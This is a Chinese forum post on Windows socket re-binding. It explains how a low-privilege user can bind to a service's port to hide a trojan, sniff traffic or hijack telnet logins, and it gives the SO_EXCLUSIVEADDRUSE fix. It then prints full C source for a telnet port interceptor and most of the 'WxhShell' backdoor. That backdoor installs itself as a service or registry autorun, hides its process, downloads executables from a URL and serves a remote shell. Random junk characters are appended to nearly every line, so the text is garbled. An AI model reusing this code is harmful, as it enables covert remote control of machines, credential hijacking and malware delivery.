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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f$o_e90mu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); prUN)r@U   
|QF7 uV  
  saddr.sin_family = AF_INET; nQF(vTDN  
lne|5{h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BwN0!lsF3  
E'f{i:O "~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); juP7P[d$qW  
\ ,'m</o~,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 : p1u(hflS  
R)?*N@.s  
  这意味着什么?意味着可以进行如下的攻击: sbfuzpg]*  
O0*p0J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F;Spi  
`_6C {<O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H-!,yte  
8 v6(qBK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6lZ3tdyNo  
v1#otrf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (fhb0i-  
4V"E8rUL(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zF@/K`  
j}#w )M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [DYQ"A= )d  
Ky`qskvu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _kC-dEGf!y  
i9:C4',sw0  
  #include !K#qeY}  
  #include a)!o @  
  #include b35fs]}u-6  
  #include    :ffY6L+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HRpte=`q  
  int main() f'F?MINJP  
  { tb 5`cube  
  WORD wVersionRequested; k x8G  
  DWORD ret; [ XN={  
  WSADATA wsaData; NYhB'C2  
  BOOL val; qfX6TV5J}!  
  SOCKADDR_IN saddr; 44J]I\+  
  SOCKADDR_IN scaddr; Mg+2. 8%  
  int err; A_rG t?i  
  SOCKET s; s `e{}\  
  SOCKET sc; 0RzEY!9g+  
  int caddsize; JT~4mT  
  HANDLE mt; I !- U'{  
  DWORD tid;   ,S\CC{!  
  wVersionRequested = MAKEWORD( 2, 2 ); S0$8@"~=  
  err = WSAStartup( wVersionRequested, &wsaData ); y1z4ik)Sd@  
  if ( err != 0 ) { ufj,T7g^  
  printf("error!WSAStartup failed!\n"); AI2~Jp  
  return -1; [=C6U_vU  
  } v<k?Vu  
  saddr.sin_family = AF_INET; 4a&RYx  
   2bz2KB5>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 //B&k`u  
;2G*wR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &.3"Uo\#  
  saddr.sin_port = htons(23); OU E (I3_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }ZYd4h|g\z  
  { iG $!6;w<  
  printf("error!socket failed!\n"); XMZ,Y7  
  return -1; $Ph|e)p  
  } "%)qRe  
  val = TRUE; }f%}v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `Uq#W+r,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vN}#Kc\  
  { b\f O8{k  
  printf("error!setsockopt failed!\n"); xl{=Y< ;  
  return -1; 5#6|j?_a  
  } :x3QRF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t}_r]E,{u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LPXi+zj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 39c2pV[  
!6 #X>S14  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _=>He=v/  
  { P-[-pi@  
  ret=GetLastError(); #I.+aV+2oQ  
  printf("error!bind failed!\n"); u$z`   
  return -1; e v}S+!|U  
  } +SzU  
  listen(s,2); 3qgS&js 7  
  while(1) uuEV_"X  
  { A.F%Ycq  
  caddsize = sizeof(scaddr); a9e>iU  
  //接受连接请求 ?Rb9|`6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4X/-4'  
  if(sc!=INVALID_SOCKET) 3=#<X-);  
  { E#RDqL*J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e}voV0y\v:  
  if(mt==NULL)  y`iBFC;_  
  { q~Hn -5H4Q  
  printf("Thread Creat Failed!\n"); gE'sO T9v  
  break; 8qoMo7-f  
  } ,O5NLg-  
  } E*& vy  
  CloseHandle(mt); I@\lN&HC  
  } BkAm/R  
  closesocket(s); pp?D7S  
  WSACleanup(); m[osg< CR_  
  return 0; TvoyZW\?w  
  }   &$BjV{,/zc  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1y &\5kB  
  { @3i\%R)n;  
  SOCKET ss = (SOCKET)lpParam; J6"9v;V  
  SOCKET sc; -]Bq|qTH[(  
  unsigned char buf[4096]; >tS'Q`R  
  SOCKADDR_IN saddr; *][`@@->  
  long num; J`Q>3] wL  
  DWORD val; $GV7o{"&  
  DWORD ret; 3m[vXr?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 63iUi9P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sfH_5 #w  
  saddr.sin_family = AF_INET; 5&g@3j]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Oamg]ST  
  saddr.sin_port = htons(23); wVXS%4|v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &<g|gsG`  
  { f^ZRT@`O  
  printf("error!socket failed!\n"); &;6`)M{*}  
  return -1; 1UgEI"#a6g  
  } `cn#B BV  
  val = 100; 2ACCh4(/P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k8yEdi`  
  { Eh`7X=Z7E  
  ret = GetLastError(); Ufj`euY  
  return -1; ,^r9n[M4M  
  } .~db4d]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KM0ru  
  { L< S9  
  ret = GetLastError(); qAr M|\l1  
  return -1; *U-4Sy  
  } ~G p [_ %K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .<?GS{6 N  
  { CT@ jZtg0  
  printf("error!socket connect failed!\n"); Mexk~z A^  
  closesocket(sc); ;a!S!% .h  
  closesocket(ss); Rh2+=N<X  
  return -1; M7\szv\Zc=  
  } fm%t^)E  
  while(1) A|[?#S((]  
  { @u+]aI!`-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eeg)N1\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r r %V.r;2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G>_*djUf  
  num = recv(ss,buf,4096,0); ]#<4vl\  
  if(num>0) lBE= (A`  
  send(sc,buf,num,0);  7Die FZ?  
  else if(num==0) eIF5ZPSZi  
  break; ?,Xw[pR  
  num = recv(sc,buf,4096,0); je-!4r,  
  if(num>0) y1D L,%j  
  send(ss,buf,num,0); tFn)aa~L  
  else if(num==0) +480 l}  
  break; JG. y,<xW  
  } q_8+HEvo  
  closesocket(ss); ;+_:,_  
  closesocket(sc); Q}JOU  
  return 0 ; ^e5=hH-%  
  } |i*37r6]=  
u#fM_>ML  
/62!cp/F/D  
========================================================== ,KZ~?3$yj  
\7eUw,~Q>  
下边附上一个代码,,WXhSHELL UgRiIQMq.  
ztY}5A2`  
========================================================== VCfl`Aq'l  
~Cttzn]pR  
#include "stdafx.h" (x|T+c"bAX  
G>=*yqo  
#include <stdio.h> octL"t8w  
#include <string.h> 2s8a $3  
#include <windows.h> bj^5yX;2  
#include <winsock2.h> Wi<m{.%\E  
#include <winsvc.h> @{e}4s?7od  
#include <urlmon.h> *Q.>-J<S  
=BeygT^  
#pragma comment (lib, "Ws2_32.lib") Jr4Ky<G_i  
#pragma comment (lib, "urlmon.lib") uZYF(Yu  
}tu C}  
#define MAX_USER   100 // 最大客户端连接数 Q*cf(  
#define BUF_SOCK   200 // sock buffer <=&`ZH   
#define KEY_BUFF   255 // 输入 buffer gg/-k;@ Rf  
T{^rt3a  
#define REBOOT     0   // 重启 ]0OR_'?,  
#define SHUTDOWN   1   // 关机 bWS&Yk(  
J{<X 7uB  
#define DEF_PORT   5000 // 监听端口 CxmKz78  
~P qM]^  
#define REG_LEN     16   // 注册表键长度 E=Bf1/c\  
#define SVC_LEN     80   // NT服务名长度 RC"MdcD:]y  
:,7hWs  
// 从dll定义API ttQGoUkj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {fM'6;ak  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~=LE0.3[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hE/cd1iJ$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S@tLCqV4  
^ +\dz  
// wxhshell配置信息 #%2rP'He  
struct WSCFG { 5;WH:XM  
  int ws_port;         // 监听端口 ;;t yoh~t  
  char ws_passstr[REG_LEN]; // 口令 MchA{p&Ol  
  int ws_autoins;       // 安装标记, 1=yes 0=no h" W,WxL8  
  char ws_regname[REG_LEN]; // 注册表键名 `(;m?<%  
  char ws_svcname[REG_LEN]; // 服务名 /}Axf"OE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |-ALklXr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rv>-4@fMJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t}4, ]m s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W@IQ^ }E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?$pCsBDo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -i|}m++  
cVpp-Z|s8  
}; IPpN@  
y.k~Y0  
// default Wxhshell configuration !BF; >f`  
struct WSCFG wscfg={DEF_PORT, ^7*11%Q  
    "xuhuanlingzhe", >Tx?%nQ  
    1, TX/Xt7#R:  
    "Wxhshell", ,p a {qne  
    "Wxhshell", 'Is kWgc  
            "WxhShell Service", t?gic9 q  
    "Wrsky Windows CmdShell Service", T!{w~'=F  
    "Please Input Your Password: ", fOrH$?  
  1, kZ:ZtE  
  "http://www.wrsky.com/wxhshell.exe", f~[7t:WD*  
  "Wxhshell.exe" t@;p  
    }; wlvgg  
B[Scr5|  
// 消息定义模块 P+sW[:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3?yg\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (C L%>5V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l'qg8  
char *msg_ws_ext="\n\rExit."; n@i HFBb  
char *msg_ws_end="\n\rQuit."; T-L||yE,h  
char *msg_ws_boot="\n\rReboot..."; r6qj7}\  
char *msg_ws_poff="\n\rShutdown..."; z<;HQX,  
char *msg_ws_down="\n\rSave to "; Or+U@vAnk  
 _[3D  
char *msg_ws_err="\n\rErr!"; }X6m:#6  
char *msg_ws_ok="\n\rOK!"; "sCRdx]_  
+\A,&;!SR  
char ExeFile[MAX_PATH]; =WATyY:s  
int nUser = 0; _VN?#J)o  
HANDLE handles[MAX_USER]; A)!*]o>U  
int OsIsNt; J@'wf8Ub  
"S]TP$O D  
SERVICE_STATUS       serviceStatus; )&O %*@F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CRE3icXbQ  
'H!Uh]!  
// 函数声明 R n[cW5Y<  
int Install(void); am'7uy!ka~  
int Uninstall(void); kzLsoZ!I  
int DownloadFile(char *sURL, SOCKET wsh); X_h}J=33Q  
int Boot(int flag); cT,sh~-x,  
void HideProc(void); {tZ.v@  
int GetOsVer(void); m s \}  
int Wxhshell(SOCKET wsl); {\5  
void TalkWithClient(void *cs); =T@1@w  
int CmdShell(SOCKET sock); ZBthU")?  
int StartFromService(void); <'*LRd$1  
int StartWxhshell(LPSTR lpCmdLine); 0~S^Y1hH  
;^*W+,4WB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AkV#J, 3LC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eMsd37J  
CTa57R  
// 数据结构和表定义 x;d6vBTUb  
SERVICE_TABLE_ENTRY DispatchTable[] = 6{b >p+U  
{ IJ"q~r$  
{wscfg.ws_svcname, NTServiceMain}, D@.6>:;il  
{NULL, NULL} VONDc1%ga  
}; eauF ~md,  
0h_|t-9j  
// 自我安装 Y3b *a".X  
int Install(void) Yq KCeg  
{ %u'u kcL7  
  char svExeFile[MAX_PATH]; uXvtfc  
  HKEY key; 0,")C5j  
  strcpy(svExeFile,ExeFile); ZE}}W _  
:I#V.  
// 如果是win9x系统,修改注册表设为自启动 &QgR*,5eo  
if(!OsIsNt) { }}~|!8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C'x&Py/#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :o3N;*o>)0  
  RegCloseKey(key); l_p2Riv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L,!?Nt\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GTd,n=  
  RegCloseKey(key); .k !{*  
  return 0; {wKB;?fUvk  
    } {<KVx9  
  } ]=BB#  
} [W&T(%(W-  
else { =^?/+p8 k  
4pvMd  
// 如果是NT以上系统,安装为系统服务 4Nsp<Kn>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >[#f\bG>  
if (schSCManager!=0) [(lW^-  
{ M= (u]%\  
  SC_HANDLE schService = CreateService !Uo4,g6r+  
  ( "y}5;9#,  
  schSCManager, MQ2}EY*A  
  wscfg.ws_svcname, upmx $H>  
  wscfg.ws_svcdisp, mfr|:i  
  SERVICE_ALL_ACCESS, y9ZvV0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !a\^Sk /  
  SERVICE_AUTO_START, 75lA%| *X  
  SERVICE_ERROR_NORMAL, N!}f}oF  
  svExeFile, B+`g> h  
  NULL, CU0YIL  
  NULL,  ob]w;"  
  NULL, XCQs2CHt  
  NULL, h*\%vr  
  NULL E1 2uZ$X  
  ); ih3n<gXF  
  if (schService!=0) SXh-A1t  
  { XiWmV  ?  
  CloseServiceHandle(schService); K&-"d/QuLg  
  CloseServiceHandle(schSCManager); !N^@4*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {.Jlbi9!  
  strcat(svExeFile,wscfg.ws_svcname); gSj,E8-g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :3 mh@[V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +}AI@+  
  RegCloseKey(key); pb,d'z\S  
  return 0; ;^L(^Hx  
    } sI2^Qp@O1  
  } $??I/6  
  CloseServiceHandle(schSCManager); %hP^%'G  
} HzsdHH(J  
} .%-8 t{dt  
c+ie8Q!  
return 1; X?Q4}Y  
} h";L  
53 h0UL  
// 自我卸载 DlJo^|5  
int Uninstall(void) {!`6zBsP  
{ er\|i. Y  
  HKEY key; 2~V*5~fb  
lB4WKn=?Kl  
if(!OsIsNt) { 6S #Cl>v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7yQ4*UB  
  RegDeleteValue(key,wscfg.ws_regname); Lw,h+@0  
  RegCloseKey(key);  M6TD"-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /-s6<e!  
  RegDeleteValue(key,wscfg.ws_regname); |s_GlJV.  
  RegCloseKey(key); DmcZta8n]  
  return 0; xIn:ZKJ'  
  } :4|4=mkr  
} I/N *gy?*  
} k5)om;.w  
else { `]aeI'[}R  
i XN1I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  \=o-  
if (schSCManager!=0) wd6owr  
{ &^nGtW%a 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %so]L+r2!  
  if (schService!=0) wL[ M:  
  { ,zc(t<|-y  
  if(DeleteService(schService)!=0) { W g! Lfu  
  CloseServiceHandle(schService); rC5O")I<  
  CloseServiceHandle(schSCManager); `vV7c`K?  
  return 0; !r-F>!~  
  } Q2> gU#  
  CloseServiceHandle(schService); 7>RY/O;Z,  
  } rN>R|].  
  CloseServiceHandle(schSCManager); *zLMpL_  
} AQ Ojit6p  
} qQa}wcU'9p  
:6dxtl/{b:  
return 1; Y);=TM6s  
} I1J-)R+  
AZ<= o  
// 从指定url下载文件 PvL[e"p  
int DownloadFile(char *sURL, SOCKET wsh) H?w6C):]  
{ Y/oHu@ _  
  HRESULT hr; +C)~bb*  
char seps[]= "/"; i#O SC5ZI  
char *token; UxBpdm%dvP  
char *file; lq uLT6]  
char myURL[MAX_PATH]; VU#7%ufu&  
char myFILE[MAX_PATH]; jiGTA:v  
pfPz8L.7  
strcpy(myURL,sURL); #&4=VGx{ #  
  token=strtok(myURL,seps); TA\vZGJ('  
  while(token!=NULL) Gm`8q}<I  
  { .)3<Q}>  
    file=token; k3|Z7eW}[  
  token=strtok(NULL,seps); {`_i`  
  } + T+#q@  
OTv)  
GetCurrentDirectory(MAX_PATH,myFILE); \7_y%HR  
strcat(myFILE, "\\"); \<K5ZIWV  
strcat(myFILE, file); zm#  ?W  
  send(wsh,myFILE,strlen(myFILE),0); iow"n$/  
send(wsh,"...",3,0); 4Tc~b3\!Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )%]J>&/0J  
  if(hr==S_OK) 3' 'me  
return 0; IGgL7^MF  
else ,: ^u-b|  
return 1; ~"bV L[  
*^r}"in  
} o;*Q}Gr<M  
fV~~J2IK  
// 系统电源模块 _v:SP LU  
int Boot(int flag) @9:uqsL  
{ +,l-Nz  
  HANDLE hToken; 'fW-Y!k%  
  TOKEN_PRIVILEGES tkp; 4e  
y>LBl]  
  if(OsIsNt) { tX[WH\(xI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bd`P0f?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F[MFx^sT{  
    tkp.PrivilegeCount = 1; MfkZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T>>c2$ x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u:b=\T L  
if(flag==REBOOT) { p}P-6&k,U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #z42C?V  
  return 0; cb bFw  
} d5-qZ{W  
else { <naz+QK'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [B3RfCV{  
  return 0; SWLo|)@[/  
} /@5YW"1  
  } 13f)&#, F  
  else { )}v l\7=  
if(flag==REBOOT) { P {'b:C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [hs ds\  
  return 0; #E]59_  
} 4K74=r),i  
else { *ui</+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6B-16  
  return 0; t,' <gI  
} JtZ7ti  
} cCX*D_kCB  
(sj,[  
return 1; [-&Zl(9&  
} >dT*rH3w  
kVL.PY\K  
// win9x进程隐藏模块 7z-[f'EIUI  
void HideProc(void) ^Dx&|UwiZa  
{ _cwpA#x`}  
;kK/_%gN-G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jdBLsy@  
  if ( hKernel != NULL ) Pz^544\~ou  
  { "#48% -'x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x"g&#Vq ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EV?z`jE9  
    FreeLibrary(hKernel); W!<U85-#S  
  } j.YA 2mr  
n`KY9[0U=  
return; _*zt=zn>  
} vv7I_nK?  
OJxl<Q=z  
// 获取操作系统版本 }\LQ3y"[  
int GetOsVer(void) F!do~Z  
{ W>LR\]Ti@  
  OSVERSIONINFO winfo; D,6:EV"sa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); snJ129}A  
  GetVersionEx(&winfo); 7o4\oRGV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &wX]_:?  
  return 1; cnLro  
  else  3CJwj  
  return 0; cNH7C"@GVu  
} -YE^zzh  
;Qq\DFe.w  
// 客户端句柄模块 ~5g~;f[4  
int Wxhshell(SOCKET wsl) `{Ul!  
{ 1Z;iV<d  
  SOCKET wsh; c9Yrw^  
  struct sockaddr_in client; 8_F1AU? u  
  DWORD myID; <QvOs@i*  
 @8 6f  
  while(nUser<MAX_USER) OKV8zO  
{ 3sk9`=[{$  
  int nSize=sizeof(client); $J2Gf(RU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n*$ g]G$  
  if(wsh==INVALID_SOCKET) return 1; Je{ykL?N  
:pUtSs7p}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yw9GN2AG  
if(handles[nUser]==0) ry!!9Z>9n  
  closesocket(wsh); W4N{S.#!  
else F5Va+z,jg  
  nUser++; j@9T.P1  
  } ;);kEq/=P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h\e.e3/  
Y0>y8U V  
  return 0; *2?@ |<(r  
} &FD>&WRV  
iB{V^ksU  
// 关闭 socket fIF8%J ^3  
void CloseIt(SOCKET wsh) 7 3m1  
{ f<H2-(m  
closesocket(wsh); yjAL\U7`T  
nUser--; HV.t6@\};  
ExitThread(0); O84i;S+-p  
} #F#%`Rv1  
g 'gdgfvn  
// 客户端请求句柄 #S(Hd?34,  
void TalkWithClient(void *cs) v1[29t<I!  
{ XRH!]!  
:r[`.`  
  SOCKET wsh=(SOCKET)cs; wbHb;]  
  char pwd[SVC_LEN]; TNth   
  char cmd[KEY_BUFF]; +0~YP*I`/  
char chr[1]; d5.4l&\u  
int i,j; pFXEu= $3  
Y 7aqO5  
  while (nUser < MAX_USER) { 9my^ Y9B  
yw!{MO  
if(wscfg.ws_passstr) { ]3gSQ7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xU vs:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 99S ^f:t  
  //ZeroMemory(pwd,KEY_BUFF); dscgj5b1~  
      i=0; ,^:.dFH6  
  while(i<SVC_LEN) { ;I*o@x_  
T |p"0b A  
  // 设置超时 /mMV{[  
  fd_set FdRead; K8~d^G  
  struct timeval TimeOut; +:f"Y0  
  FD_ZERO(&FdRead); hc1N ~$3!G  
  FD_SET(wsh,&FdRead); `gJ(0#ac  
  TimeOut.tv_sec=8; Gq6*SaTk  
  TimeOut.tv_usec=0; TJN4k@\$2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y*? Jui Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nEfK53i_  
<[v[ci  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %RVZD#zr  
  pwd=chr[0]; Nl/dX-I  
  if(chr[0]==0xd || chr[0]==0xa) { JVJMgim)0  
  pwd=0; \lY_~*J  
  break; 4JEpl'5^Q  
  } TV:9bn?r)  
  i++; } #J/fa9 !  
    } J05e#-)<K  
!W\+#ez  
  // 如果是非法用户,关闭 socket 2T1q?L?]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (mOtU8e  
} ~?dI*BZ)]  
v^iAD2X/F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : +u]S2u{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &L:!VL{I  
@co S+t  
while(1) { G)YcJv7  
*_e3 @g  
  ZeroMemory(cmd,KEY_BUFF); N;R^h? '  
LLI.8kn7  
      // 自动支持客户端 telnet标准   43w}qY1  
  j=0; lMt=|66  
  while(j<KEY_BUFF) { O2+6st  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); edD)TpmE,  
  cmd[j]=chr[0]; No$3"4wk  
  if(chr[0]==0xa || chr[0]==0xd) { .d*8C,  
  cmd[j]=0; FsPw1A$y  
  break; : DNjhZ  
  } RNL9>7xV  
  j++; D=$)n_F  
    } #z(]xI)"  
;|RTx  
  // 下载文件 Q/?$x*\>  
  if(strstr(cmd,"http://")) { [KQi.u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kq!3wb;  
  if(DownloadFile(cmd,wsh)) }b}m3i1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); df=f62  
  else ~~.}ah/_d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ta0|^KAA  
  } _GPe<H  
  else { [WJ+h~~ o  
Ni>[D"|  
    switch(cmd[0]) { Smh,zCc>s  
  vI?, 47Hj+  
  // 帮助 7^Uv7< pw  
  case '?': { SJLis"8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sT.ss$HY9,  
    break; TvM~y\s  
  } 2eogY#  
  // 安装 [Pp'Ye~K@c  
  case 'i': { maZ)cW?  
    if(Install()) xo)P?-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Zo}(^Ovz  
    else /1 dT+>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @W<m 4fi  
    break; ^OdP4m( >>  
    } @WhHUd4s  
  // 卸载 =M1I>  
  case 'r': { {:s f7  
    if(Uninstall()) qK+5NF|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sdo-nt  
    else UG^q9 :t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mDWG7Asp  
    break; i%/+5gq  
    } x;S @bY  
  // 显示 wxhshell 所在路径 S/ *E,))m  
  case 'p': { gUlo]!$  
    char svExeFile[MAX_PATH]; +|v90ed  
    strcpy(svExeFile,"\n\r"); ~o(   
      strcat(svExeFile,ExeFile); wkq 66?  
        send(wsh,svExeFile,strlen(svExeFile),0); .}t e>]A*  
    break; 9$t( &z=  
    } Gdw VtqbX  
  // 重启 e.C)jv6qr  
  case 'b': { (Z*!#}z`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H\ %7%  
    if(Boot(REBOOT)) 6863xOv{T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1oS/`)  
    else { h8P)%p  
    closesocket(wsh); M}a6Vu9  
    ExitThread(0); 3]>|  i  
    } 0sqFF[i  
    break; >z03{=sAN  
    } ]]mJ']l  
  // 关机 qM`}{ /i  
  case 'd': { x:;kSh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q8NX)R  
